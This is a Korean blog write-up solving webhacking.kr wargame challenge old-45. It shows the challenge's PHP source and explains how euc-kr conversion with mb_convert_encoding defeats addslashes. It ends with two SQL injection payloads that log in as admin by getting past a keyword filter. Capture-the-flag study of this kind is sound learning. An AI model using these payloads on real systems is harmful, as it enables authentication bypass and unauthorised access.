Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 화이트해커를 위한 웹 해킹의 기술
- 비동기배열
- useMutation error
- graphql with RN
- promise처리
- typescript
- graphql with reactnative
- 예쁜술집 예술
- 화이트 해커를 위한 웹 해킹의 기술
- 홍대 예술
- graphql
- 홍대 카페 장쌤
- apolloclient
- graphql react native
- 금별맥주
- apollo react native
- 홍대 토라비
- 고르드
- 비동기배열처리방법
- 도그존
- 토라비
- 잠실새내
- 앙버터마카롱
- 운정 소바동
- 잠실새내 도그존
- 신촌 소문난집
- promise메서드
- graphql 400
- graphql mutation error
- 지보싶 신촌점
Archives
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
challenge (old-45) 본문
45번 풀이
SQL injection을 이용해야 한다고 페이지에서 대놓고 힌트를 주고 있다!
view source를 눌러서 소스코드를 확인해보자
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
</body>
</html>
addslashes는이전에 LOS 문제를 풀면서 접한적이 있다. '," 등의 기호 앞에 백슬래시 \를 추가하는 함수다.
그리고 처음보는 함수가 있다 mb_convert_encoding이다.
mb_convert_encoding
encoding시에 사용되는 함수로 언어를 다른 언어로 바꿀 때 사용
하지만 mb_convert_encoding 함수에는 취약점이 존재한다.
mb_convert_encoding 취약점
백슬래시 \ 앞에 %a1~%fe 값이 들어오면 encoding이 깨지게 되고 백슬래시를 덮어씌워서 2바이트를 하나의 문자로 표현한다. (없앤다고 표현해도 괜찮을 것 같다)
ex) \=0x5c 0x5c27 (\') => 0xa15c27 => 0xa15c를 하나의 문자로 표현, 0x27 (') 만 남게 됨
그럼 이제 mb_convert_encoding 취약점을 이용해서 addslashes를 우회해서 SQL injection공격을 할 수 있다.
SQL 쿼리문은 다음과 같다.
select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')
id에는 별 다른 장치를 해두지 않았으나, pw는 md5를 이용해서 해시하는 것을 볼 수 있다.
따라서 원본 admin의 pw를 알아내는 것은 힘들 것이다.
그럼 id에 admin을 참으로 만들어서 admin으로 로그인하자
그리고 preg_match를 이용해서 admin, select, limit, pw, =,<,>를 사용하지 못하게 막고 있다.
따라서 = 대신 like를 사용하고 admin은 hex값 혹은 char을 이용해서 URL로 대입해주자
- hex값을 이용한 경우: ?id=%a1' or id like 0x61646d696e%23&pw=guest
- char을 이용한 경우: ?id=%a1' or id like char(97,100,109,105,110)%23&pw=guest
'wargame 풀이 > webhacking.kr' 카테고리의 다른 글
challenge (old-42) (0) | 2021.01.19 |
---|---|
challenge (old-6) (0) | 2021.01.19 |
challenge (old-44) (0) | 2021.01.14 |
challenge (old-18) (0) | 2020.10.17 |
challenge (old-17) (0) | 2020.10.16 |
Comments